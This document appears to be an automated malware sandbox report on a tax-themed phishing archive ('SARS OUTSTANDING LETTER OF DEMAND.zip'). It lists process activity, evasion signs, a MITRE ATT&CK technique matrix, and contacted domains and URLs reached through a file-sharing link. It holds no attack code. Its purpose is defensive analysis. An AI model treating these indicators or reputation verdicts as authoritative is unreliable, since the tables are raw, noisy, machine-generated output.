Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\unarchiver.exe TID: 5080	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 6368	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 5836	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\unarchiver.exe

Code function: 12_2_0165B1D6 GetSystemInfo,

Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\unarchiver.exe

Memory allocated: page read and write | page guard

Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\fsnnqwuj.h1e" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\oluilyf2.xu4" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (1).zip
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\evppz250.yan" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (2).zip

Source: C:\Windows\SysWOW64\unarchiver.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
1 Drive-by Compromise	Windows Management Instrumentation	Path Interception	11 Process Injection	3 Masquerading	OS Credential Dumping	21 Virtualization/Sandbox Evasion	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	3 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	4 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	21 Virtualization/Sandbox Evasion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	5 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Ingress Tool Transfer	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://cloudfil.es/ly7mR8utBQ5	0%	Virustotal		Browse
https://cloudfil.es/ly7mR8utBQ5	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://js.usemessages.com/conversations-embed.js	0%	URL Reputation	safe
https://js.hsadspixel.net/fb.js	0%	URL Reputation	safe
https://cloudfiles.io/_next/image?url=%2Fimages%2Fpages%2Fhome%2Ftestimonials%2Fhs-logo.png&w=1920&q=75	0%	Avira URL Cloud	safe
https://cloudfiles.io/images/pages/home/testimonials/Jordan-Harris.jpeg	0%	Avira URL Cloud	safe
https://cloudfil.es/_next/static/chunks/main-96fa8ae7c24c9725.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/logos/security/gdpr.png	0%	Avira URL Cloud	safe
https://cloudfiles.io/icons/twitter.png	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/YJeXlCCpqKEI4BNvP_rQi/_buildManifest.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/images/pages/home/testimonials/neighbourhood-logo.jpeg	0%	Avira URL Cloud	safe
https://cloudfiles.io/images/pages/home/testimonials/Architecture-Social.jpeg	0%	Avira URL Cloud	safe
https://cloudfiles.io/icons/linkedin.png	0%	Avira URL Cloud	safe
https://cloudfiles.io/images/pages/home/testimonials/1920px-HubSpot_Logo.svg.png	0%	Avira URL Cloud	safe
https://cloudfiles.io/images/pages/home/testimonials/Chris-Moore.png	0%	Avira URL Cloud	safe
https://www.google.co.uk/ads/ga-audiences?v=1&t=sr&slf_rd=1&_r=4&tid=G-HB9Z4JLXX4&cid=604035153.1663946092&gtm=2oe9l0&aip=1&z=1923764674	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/YJeXlCCpqKEI4BNvP_rQi/_ssgManifest.js	0%	Avira URL Cloud	safe
https://js.hs-banner.com/20182553.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/chunks/pages/%5Bslug%5D-987d9e7f5dfae2bd.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/chunks/423-c466c32b0761d1c5.js	0%	Avira URL Cloud	safe
https://api.cloudfil.es/api/views/632d4ec5c3d2310bbf142ae1/download	0%	Avira URL Cloud	safe
https://api.cloudfil.es/api/ly7mR8utBQ5	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/chunks/197-c096a3bf80407be8.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/images/pages/home/features/file-links.svg	0%	Avira URL Cloud	safe
https://cloudfiles.io/images/pages/home/testimonials/goreact-logo.svg	0%	Avira URL Cloud	safe
https://cloudfil.es/favicon.ico	0%	Avira URL Cloud	safe
https://cloudfiles.io/images/pages/home/buddha-banner.jpg	0%	Avira URL Cloud	safe
https://www.google.co.uk/pagead/1p-user-list/10783125194/?random=1663946097443&cv=9&fst=1663945200000&num=1&bg=ffffff&guid=ON&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_his=1&u_tz=-420&u_java=false&u_nplug=0&u_nmime=0&gtm=2oa9l0&sendb=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fcloudfiles.io%2F&tiba=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&async=1&fmt=3&is_vtc=1&random=1027656747&resp=GooglemKTybQhCsO&rmt_tld=1&ipr=y	0%	Avira URL Cloud	safe
https://cloudfil.es/_next/static/chunks/pages/%5Bhash%5D-da6732468a64e9d9.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/images/pages/home/features/detailed-analytics.png	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/chunks/pages/_app-f171edb1f3175855.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/logos/FullLogo-new.svg	0%	Avira URL Cloud	safe
https://static.hsappstatic.net/hubspot-dlb/static-1.318/bundle.production.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/image?url=%2Fimages%2Fpages%2Fhome%2Ftestimonials%2Fg2-logo.png&w=3840&q=75	0%	Avira URL Cloud	safe
https://cloudfiles.io/icons/angellist.png	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/chunks/390-8a0eaf13ec9db927.js	0%	Avira URL Cloud	safe
https://www.google.co.uk/ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j97&tid=UA-188936264-1&cid=604035153.1663946092&jid=1865915276&_u=YADAAUAAAAAAAC~&z=1702222027	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/chunks/545f34e4-eb701074efab5973.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/hog/decide?v=2&ip=1&_=1663946086126	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/data/YJeXlCCpqKEI4BNvP_rQi/pricing.json?slug=pricing	0%	Avira URL Cloud	safe
https://www.google.co.uk/pagead/1p-user-list/10790155329/?random=1663946097413&cv=9&fst=1663945200000&num=1&bg=ffffff&guid=ON&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_his=1&u_tz=-420&u_java=false&u_nplug=0&u_nmime=0&gtm=2oa9l0&sendb=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fcloudfiles.io%2F&tiba=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&async=1&fmt=3&is_vtc=1&random=346257282&resp=GooglemKTybQhCsO&rmt_tld=1&ipr=y	0%	Avira URL Cloud	safe
https://api.cloudfil.es/api/ly7mR8utBQ5/files	0%	Avira URL Cloud	safe
https://cloudfil.es/_next/static/css/761d08517528cd55.css	0%	Avira URL Cloud	safe
https://cloudfiles.io/images/pages/home/features/secure-file-sharing.svg	0%	Avira URL Cloud	safe
https://cloudfiles.io/logos/security/soc2.webp	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/chunks/5ca00d41-f80dcc02233c86a3.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/chunks/framework-5f4595e5518b5600.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/chunks/pages/index-54a1471851cf647f.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/chunks/fc20e1c4-9e1761e40e9bca31.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/hog/e?ip=1&_=1663946086204	0%	Avira URL Cloud	safe
https://cloudfiles.io/images/pages/home/testimonials/Travis-White.jpg	0%	Avira URL Cloud	safe
https://cloudfiles.io/images/pages/home/testimonials/5-star-rating.svg	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/chunks/28-8667e3219650ddd1.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/images/pages/home/features/cloud-copy.svg	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/chunks/951-9933cd60a769c984.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/chunks/43a99af2-6a652ea0e41564d0.js	0%	Avira URL Cloud	safe
https://static.hsappstatic.net/head-dlb/static-1.233/bundle.production.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/images/pages/home/hero-image.svg	0%	Avira URL Cloud	safe
https://cloudfil.es/_next/static/chunks/838-e577e7ded876b417.js	0%	Avira URL Cloud	safe
https://cloudfiles.io/_next/static/chunks/b16bd182-2fce6d9e40c8c943.js	0%	Avira URL Cloud	safe
https://cloudfil.es/images/logoWordmark.svg	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
gstaticadssl.l.google.com	172.217.16.195	true	false	high
i.ytimg.com	142.250.186.182	true	false	high
js.hs-analytics.net	104.17.69.176	true	false	unknown
cloudfil.es	76.76.21.21	true	false	unknown
d296je7bbdd650.cloudfront.net	108.138.32.174	true	false	high
scontent.xx.fbcdn.net	157.240.17.15	true	false	high
track.hubspot.com	104.19.154.83	true	false	high
avatars.hubspot.net	104.17.240.204	true	false	high
dmotion.s.llnwi.net	95.140.230.217	true	false	unknown
photos-ugc.l.googleusercontent.com	142.250.186.161	true	false	high
www.google.com	142.250.185.164	true	false	high
js.usemessages.com	104.17.239.204	true	false	unknown
api.cloudfil.es	172.67.199.56	true	false	unknown
js.hs-banner.com	104.18.33.171	true	false	unknown
star-mini.c10r.facebook.com	157.240.17.35	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
static.hsappstatic.net	104.17.6.210	true	false	unknown
accounts.google.com	216.58.212.173	true	false	high
stats.l.doubleclick.net	108.177.15.156	true	false	high
app.hubspot.com	104.19.155.83	true	false	high
www-googletagmanager.l.google.com	172.217.18.8	true	false	high
js.hsadspixel.net	104.17.112.176	true	false	unknown
region1.analytics.google.com	216.239.32.36	true	false	high
static-doubleclick-net.l.google.com	142.250.185.166	true	false	high
youtube-ui.l.google.com	172.217.23.110	true	false	high
js-na1.hs-scripts.com	104.17.213.204	true	false	high
api.hubspot.com	104.19.154.83	true	false	high
googleads.g.doubleclick.net	142.250.184.226	true	false	high
play.google.com	142.250.185.110	true	false	high
api-na1.hubspot.com	104.19.154.83	true	false	high
api.hubapi.com	104.17.202.204	true	false	high
www.google.co.uk	172.217.18.3	true	false	unknown
cloudfiles.io	76.76.21.21	true	false	unknown
clients.l.google.com	142.250.186.46	true	false	high
cdn.cookie-script.com	116.203.90.127	true	false	high
yt3.ggpht.com	unknown	unknown	false	high
stats.g.doubleclick.net	unknown	unknown	false	high
cdn.segment.com	unknown	unknown	false	high
clients2.google.com	unknown	unknown	false	high
api.dmcdn.net	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
bam-cell.nr-data.net	unknown	unknown	false	unknown
www.facebook.com	unknown	unknown	false	high
www.linkedin.com	unknown	unknown	false	high
js-agent.newrelic.com	unknown	unknown	false	high
connect.facebook.net	unknown	unknown	false	high
px.ads.linkedin.com	unknown	unknown	false	high
static.doubleclick.net	unknown	unknown	false	high
snap.licdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cloudfiles.io/_next/image?url=%2Fimages%2Fpages%2Fhome%2Ftestimonials%2Fhs-logo.png&w=1920&q=75	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/logos/security/gdpr.png	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/s/player/abfb84fe/player_ias.vflset/en_US/base.js	false		high
https://region1.analytics.google.com/g/collect?v=2&tid=G-HB9Z4JLXX4&gtm=2oe9l0&_p=932923266&cid=604035153.1663946092&ul=en-us&sr=1280x1024&_z=ccd.v9B&_s=2&sid=1663946091&sct=1&seg=1&dl=https%3A%2F%2Fcloudfiles.io%2F&dt=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&en=page_view&_ee=1	false		high
https://api-na1.hubspot.com/userpreferences/v1/avatar/9da96031556358e4754625e37320e787/100	false		high
https://www.google.com/pagead/1p-user-list/10790155329/?random=1663946097413&cv=9&fst=1663945200000&num=1&bg=ffffff&guid=ON&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_his=1&u_tz=-420&u_java=false&u_nplug=0&u_nmime=0&gtm=2oa9l0&sendb=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fcloudfiles.io%2F&tiba=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&async=1&fmt=3&is_vtc=1&random=346257282&resp=GooglemKTybQhCsO&rmt_tld=0&ipr=y	false		high
https://cloudfiles.io/images/pages/home/testimonials/Jordan-Harris.jpeg	false	Avira URL Cloud: safe	unknown
https://cloudfil.es/_next/static/chunks/main-96fa8ae7c24c9725.js	false	Avira URL Cloud: safe	unknown
https://js.usemessages.com/conversations-embed.js	false	URL Reputation: safe	unknown
https://cloudfiles.io/icons/twitter.png	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/_next/static/YJeXlCCpqKEI4BNvP_rQi/_buildManifest.js	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/images/pages/home/testimonials/neighbourhood-logo.jpeg	false	Avira URL Cloud: safe	unknown
https://cdn.segment.com/analytics-next/bundles/870.bundle.323974846b6d45afb45e.js	false		high
https://www.youtube.com/s/player/abfb84fe/player_ias.vflset/en_US/embed.js	false		high
https://avatars.hubspot.net/9da96031556358e4754625e37320e787-100	false		high
https://www.youtube.com/iframe_api	false		high
https://cloudfiles.io/images/pages/home/testimonials/Architecture-Social.jpeg	false	Avira URL Cloud: safe	unknown
https://cdn.segment.com/v1/projects/KUs1gEeIVanAKts76f3NenLgmETEQxxr/settings	false		high
https://www.youtube.com/youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8	false		high
https://stats.g.doubleclick.net/j/collect?t=dc&aip=1&_r=3&v=1&_v=j97&tid=UA-188936264-1&cid=604035153.1663946092&jid=1865915276&gjid=1491550274&_gid=405113668.1663946093&_u=YADAAUAAAAAAAC~&z=1482416094	false		high
https://cloudfiles.io/images/pages/home/testimonials/Chris-Moore.png	false	Avira URL Cloud: safe	unknown
https://connect.facebook.net/en_US/fbevents.js	false		high
https://cloudfiles.io/icons/linkedin.png	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/images/pages/home/testimonials/1920px-HubSpot_Logo.svg.png	false	Avira URL Cloud: safe	unknown
https://www.google.co.uk/ads/ga-audiences?v=1&t=sr&slf_rd=1&_r=4&tid=G-HB9Z4JLXX4&cid=604035153.1663946092&gtm=2oe9l0&aip=1&z=1923764674	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/_next/static/YJeXlCCpqKEI4BNvP_rQi/_ssgManifest.js	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/_next/static/chunks/pages/%5Bslug%5D-987d9e7f5dfae2bd.js	false	Avira URL Cloud: safe	unknown
https://js.hs-banner.com/20182553.js	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/_next/static/chunks/197-c096a3bf80407be8.js	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/_next/static/chunks/423-c466c32b0761d1c5.js	false	Avira URL Cloud: safe	unknown
https://app.hubspot.com/conversations-visitor/20182553/threads/utk/e86f3294fabf4298bfb6731338a898f9?uuid=9cb37ca1f6ae46778bde47f4ac4692ca&mobile=false&mobileSafari=false&hideWelcomeMessage=false&hstc=null&domain=cloudfiles.io&inApp53=false&messagesUtk=e86f3294fabf4298bfb6731338a898f9&url=https%3A%2F%2Fcloudfiles.io%2F&inline=false&isFullscreen=false&globalCookieOptOut=null&isFirstVisitorSession=true&isAttachmentDisabled=false&enableWidgetCookieBanner=false&isInCMS=false	false		high
https://api.cloudfil.es/api/ly7mR8utBQ5	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/images/pages/home/features/file-links.svg	false	Avira URL Cloud: safe	unknown
https://api.cloudfil.es/api/views/632d4ec5c3d2310bbf142ae1/download	false	Avira URL Cloud: safe	unknown
https://i.ytimg.com/vi_webp/1rkTwk6PKdY/sddefault.webp	false		high
https://cloudfiles.io/images/pages/home/testimonials/goreact-logo.svg	false	Avira URL Cloud: safe	unknown
https://cloudfil.es/favicon.ico	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/images/pages/home/buddha-banner.jpg	false	Avira URL Cloud: safe	unknown
https://www.google.co.uk/pagead/1p-user-list/10783125194/?random=1663946097443&cv=9&fst=1663945200000&num=1&bg=ffffff&guid=ON&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_his=1&u_tz=-420&u_java=false&u_nplug=0&u_nmime=0&gtm=2oa9l0&sendb=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fcloudfiles.io%2F&tiba=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&async=1&fmt=3&is_vtc=1&random=1027656747&resp=GooglemKTybQhCsO&rmt_tld=1&ipr=y	false	Avira URL Cloud: safe	unknown
https://app.hubspot.com/conversations-visitor/20182553/threads/utk/e86f3294fabf4298bfb6731338a898f9?uuid=9cb37ca1f6ae46778bde47f4ac4692ca&mobile=false&mobileSafari=false&hideWelcomeMessage=false&hstc=null&domain=cloudfiles.io&inApp53=false&messagesUtk=e86f3294fabf4298bfb6731338a898f9&url=https%3A%2F%2Fcloudfiles.io%2F&inline=false&isFullscreen=false&globalCookieOptOut=null&isFirstVisitorSession=true&isAttachmentDisabled=false&enableWidgetCookieBanner=false&isInCMS=false&hubspotUtk=222eafc23c17f2f1f20b9c762dc2bdcf	false		high
https://static.hsappstatic.net/hubspot-dlb/static-1.318/bundle.production.js	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/images/pages/home/features/detailed-analytics.png	false	Avira URL Cloud: safe	unknown
https://static.doubleclick.net/instream/ad_status.js	false		high
https://cloudfil.es/_next/static/chunks/pages/%5Bhash%5D-da6732468a64e9d9.js	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/_next/static/chunks/pages/_app-f171edb1f3175855.js	false	Avira URL Cloud: safe	unknown
https://js.hsadspixel.net/fb.js	false	URL Reputation: safe	unknown
https://googleads.g.doubleclick.net/pagead/id	false		high
https://cdn.segment.com/analytics.js/v1/KUs1gEeIVanAKts76f3NenLgmETEQxxr/analytics.min.js	false		high
https://api.hubapi.com/hs-script-loader-public/v1/config/pixel/json?portalId=20182553	false		high
https://www.facebook.com/tr/?id=749116996109032&ev=Microdata&dl=https%3A%2F%2Fcloudfiles.io%2F&rl=&if=false&ts=1663946095810&cd[DataLayer]=%5B%5D&cd[Meta]=%7B%22title%22%3A%22File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles%22%2C%22meta%3Adescription%22%3A%22CloudFiles%20is%20a%20modern%20file%20sharing%20platform%20for%20businesses%20designed%20to%20reduce%20mundane%20tasks.%20Sign%20up%20and%20put%20your%20energy%20to%20things%20that%20matter.%22%7D&cd[OpenGraph]=%7B%7D&cd[Schema.org]=%5B%5D&cd[JSON-LD]=%5B%5D&sw=1280&sh=1024&v=2.9.83&r=stable&ec=1&o=30&fbp=fb.1.1663946093092.1064301508&it=1663946090710&coo=false&es=automatic&tm=3&rqm=GET	false		high
https://cloudfiles.io/logos/FullLogo-new.svg	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/icons/angellist.png	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/_next/image?url=%2Fimages%2Fpages%2Fhome%2Ftestimonials%2Fg2-logo.png&w=3840&q=75	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/_next/static/chunks/390-8a0eaf13ec9db927.js	false	Avira URL Cloud: safe	unknown
https://www.google.co.uk/ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j97&tid=UA-188936264-1&cid=604035153.1663946092&jid=1865915276&_u=YADAAUAAAAAAAC~&z=1702222027	false	Avira URL Cloud: safe	unknown
https://www.google.com/pagead/1p-user-list/10783125194/?random=1663946097443&cv=9&fst=1663945200000&num=1&bg=ffffff&guid=ON&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_his=1&u_tz=-420&u_java=false&u_nplug=0&u_nmime=0&gtm=2oa9l0&sendb=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fcloudfiles.io%2F&tiba=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&async=1&fmt=3&is_vtc=1&random=1027656747&resp=GooglemKTybQhCsO&rmt_tld=0&ipr=y	false		high
https://api-na1.hubspot.com/userpreferences/v1/avatar/af37eb0cf85adf85d80f9fda4baa0b45/100	false		high
https://cloudfiles.io/_next/static/chunks/545f34e4-eb701074efab5973.js	false	Avira URL Cloud: safe	unknown
https://cdn.cookie-script.com/s/61cbca8494eb3ac19b8548ecc52b65d8.js	false		high
https://cloudfiles.io/hog/decide?v=2&ip=1&_=1663946086126	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/_next/data/YJeXlCCpqKEI4BNvP_rQi/pricing.json?slug=pricing	false	Avira URL Cloud: safe	unknown
https://www.google.com/ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j97&tid=UA-188936264-1&cid=604035153.1663946092&jid=1865915276&_u=YADAAUAAAAAAAC~&z=1702222027	false		high
https://api.dmcdn.net/all.js	false		high
https://www.google.co.uk/pagead/1p-user-list/10790155329/?random=1663946097413&cv=9&fst=1663945200000&num=1&bg=ffffff&guid=ON&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_his=1&u_tz=-420&u_java=false&u_nplug=0&u_nmime=0&gtm=2oa9l0&sendb=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fcloudfiles.io%2F&tiba=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&async=1&fmt=3&is_vtc=1&random=346257282&resp=GooglemKTybQhCsO&rmt_tld=1&ipr=y	false	Avira URL Cloud: safe	unknown
https://api.cloudfil.es/api/ly7mR8utBQ5/files	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/s/player/abfb84fe/fetch-polyfill.vflset/fetch-polyfill.js	false		high
https://www.youtube.com/generate_204?uf-mSA	false		high
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1	false		high
https://cloudfil.es/_next/static/css/761d08517528cd55.css	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/images/pages/home/features/secure-file-sharing.svg	false	Avira URL Cloud: safe	unknown
https://cdn.segment.com/analytics-next/bundles/schemaFilter.bundle.debb169c1abb431faaa6.js	false		high
https://www.youtube.com/embed/1rkTwk6PKdY?autoplay=0&mute=0&controls=0&origin=https%3A%2F%2Fcloudfiles.io&playsinline=1&showinfo=0&rel=0&iv_load_policy=3&modestbranding=1&enablejsapi=1&widgetid=1	false		high
https://connect.facebook.net/signals/config/749116996109032?v=2.9.83&r=stable	false		high
https://app.hubspot.com/api/cartographer/v1/rhumb?hs_static_app=conversations-visitor-ui&hs_static_app_version=1.13284	false		high
https://cloudfiles.io/_next/static/chunks/5ca00d41-f80dcc02233c86a3.js	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/logos/security/soc2.webp	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/	false		unknown
https://cloudfiles.io/_next/static/chunks/framework-5f4595e5518b5600.js	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/_next/static/chunks/pages/index-54a1471851cf647f.js	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/_next/static/chunks/fc20e1c4-9e1761e40e9bca31.js	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/s/player/abfb84fe/www-embed-player.vflset/www-embed-player.js	false		high
https://app.hubspot.com/api/cartographer/v1/performance?hs_static_app=conversations-visitor-ui&hs_static_app_version=1.13284	false		high
https://cloudfiles.io/hog/e?ip=1&_=1663946086204	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/images/pages/home/testimonials/Travis-White.jpg	false	Avira URL Cloud: safe	unknown
https://www.google.com/js/th/A6NiJ4FpWdYb46YkL14Gb7YSsd_Y0OEDYbyMmxwlYE4.js	false		high
https://yt3.ggpht.com/ytc/AMLnZu-FWsVbF8aAR_gls7ecgPiqYZt6-nIMTeclblUc=s68-c-k-c0x00ffffff-no-rj	false		high
https://avatars.hubspot.net/7baf5799201cac38d1c7a19dc11b89b1-100	false		high
https://cloudfiles.io/_next/static/chunks/28-8667e3219650ddd1.js	false	Avira URL Cloud: safe	unknown
https://track.hubspot.com/__ptq.gif?k=1&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=4285505810&v=1.1&a=20182553&pu=https%3A%2F%2Fcloudfiles.io%2F&t=File+Sharing+Platform+%7C+Share+Documents+Online+%7C+CloudFiles&cts=1663946098472&vi=222eafc23c17f2f1f20b9c762dc2bdcf&nc=true&u=218584006.222eafc23c17f2f1f20b9c762dc2bdcf.1663946098461.1663946098461.1663946098461.1&b=218584006.1.1663946098463&cc=15	false		high
https://cloudfiles.io/images/pages/home/testimonials/5-star-rating.svg	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/images/pages/home/features/cloud-copy.svg	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/_next/static/chunks/951-9933cd60a769c984.js	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/_next/static/chunks/43a99af2-6a652ea0e41564d0.js	false	Avira URL Cloud: safe	unknown
https://cloudfil.es/ly7mR8utBQ5	false		unknown
https://cloudfiles.io/images/pages/home/hero-image.svg	false	Avira URL Cloud: safe	unknown
https://static.hsappstatic.net/head-dlb/static-1.233/bundle.production.js	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/	false		unknown
https://cloudfil.es/_next/static/chunks/838-e577e7ded876b417.js	false	Avira URL Cloud: safe	unknown
https://cloudfiles.io/_next/static/chunks/b16bd182-2fce6d9e40c8c943.js	false	Avira URL Cloud: safe	unknown
